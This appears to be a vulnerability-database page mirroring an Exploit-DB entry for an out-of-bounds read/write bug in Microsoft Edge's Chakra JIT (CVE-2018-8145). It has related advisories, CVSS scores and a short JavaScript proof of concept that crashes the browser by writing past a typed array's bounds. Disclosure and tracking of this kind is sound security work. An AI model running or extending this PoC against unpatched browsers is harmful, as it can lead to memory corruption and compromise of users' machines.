Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes
🗓️ 12 Jul 2018 00:00:00Reported by Google Security ResearchType 
exploitdb🔗 www.exploit-db.com👁 47 Views
| Reporter | Title | Published | Views | Family All 56 |
|---|---|---|---|---|
 | Microsoft Edge Chakra JIT - Out-of-Bounds Reads/Writes Exploit | 12 Jul 201800:00 | – | zdt |
 | ChakraCore Script Handler XSS | 29 Jun 201800:00 | – | bdu_fstec |
 | CVE-2018-8145 | 12 Jul 201800:00 | – | circl |
 | Microsoft Edge Sensitive Information Disclosure Vulnerability | 9 May 201800:00 | – | cnvd |
 | Microsoft Edge and Internet Explorer Chakra Out of Bounds Read (CVE-2018-8145) | 12 Jul 201800:00 | – | checkpoint_advisories |
 | CVE-2018-8145 | 9 May 201819:00 | – | cve |
 | CVE-2018-8133 | 9 May 201819:00 | – | cvelist |
| CVE-2018-8145 | 9 May 201819:00 | – | cvelist |
 | ChakraCore information disclosure vulnerability | 13 May 202201:53 | – | github |
 | May 8, 2018—KB4103716 (OS Build 10240.17861) | 8 May 201807:00 | – | mskb |
10
/*
It seems that this issue is similar to the issue 1429 (MSRC 42111). It might need to refresh the page several times to observe a crash.
PoC:
*/
let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
for (let j = 0; j < 1; j++) {
i--;
i++;
}
arr[i] = 0x1234;
}Data
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12 Jul 2018 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 37.5
CVSS 27.6
EPSS0.66639